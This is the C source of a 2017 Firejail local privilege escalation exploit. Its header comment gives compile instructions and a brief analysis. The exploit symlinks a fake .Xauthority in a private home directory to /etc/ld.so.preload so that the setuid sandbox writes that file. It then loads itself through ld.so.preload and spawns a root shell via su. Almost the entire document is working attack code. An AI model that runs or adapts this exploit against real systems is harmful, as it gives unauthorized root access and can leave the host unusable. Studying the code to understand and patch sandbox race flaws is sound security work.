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/* firejail local root exploit (host to host) * * (C) 2017 Sebastian Krahmer under the GPL. * * WARNING: This exploit uses ld.so.preload technique. * If you are in bad luck, you may end up with an unusable system. * SO BE WARNED. ONLY TEST IT IN YOUR SAFE VM's. * * Get the beauty that this is a shared lib and a running * executable at the same time, as we tamper with /etc/ld.so.preload * * Therefore you have to compile it like this: * * $ cc -fPIC -fpic -std=c11 -Wall -pedantic -c firenail.c * $ gcc -shared -pie firenail.o -o firenail * $ ./firenail * * DO NOT TELL ME THAT SELINUX WOULD HAVE PREVENTED THIS EXPLOIT. * IF I WAS ABOUT TO BYPASS SELINUX ALONG, I WOULD HAVE DONE THE * EXPLOIT DIFFERENTLY. * * Analysis: Sandboxing is cool, but it has to be done right. * Firejail has too broad attack surface that allows users * to specify a lot of options, where one of them eventually * broke by accessing user-files while running with euid 0. * There are some other similar races. Turns out that it can be * _very difficult_ to create a generic sandbox suid wrapper thats * secure but still flexible enough to sandbox arbitrary binaries. * * Tested with latest commit 699ab75654ad5ab7b48b067a2679c544cc8725f6. */ #define _POSIX_C_SOURCE 200212 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> #include <sys/types.h> const char *const ldso = "/etc/ld.so.preload"; int main(); __attribute__((constructor)) void init(void) { if (geteuid()) return; unlink(ldso); char *sh[] = {"/bin/sh", "--noprofile", "--norc", NULL}; setuid(0); setgid(0); execve(*sh, sh, NULL); exit(1); } void die(const char *s) { perror(s); exit(errno); } int main() { printf("[*] fire(j|n)ail local root exploit 2017\n\n"); char me[4096] = {0}, *home = getenv("HOME"); if (!home) die("[-] no $HOME"); if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) die("[-] Unable to find myself"); char path[256] = {0}; snprintf(path, sizeof(path) - 1, "%s/.firenail", home); if (mkdir(path, 0700) < 0 && errno != EEXIST) die("[-] mkdir"); snprintf(path, sizeof(path) - 1, "%s/.firenail/.Xauthority", home); if (symlink(ldso, path) < 0 && errno != EEXIST) die("[-] symlink"); system("firejail --private=.firenail /usr/bin/id"); int fd = open(ldso, O_RDWR|O_TRUNC); if (fd < 0) die("[-] open"); write(fd, me, strlen(me)); write(fd, "\n", 1); close(fd); char *su[] = {"/bin/su", NULL}; execve(*su, su, NULL); die("[-] execve su"); return -1; } |
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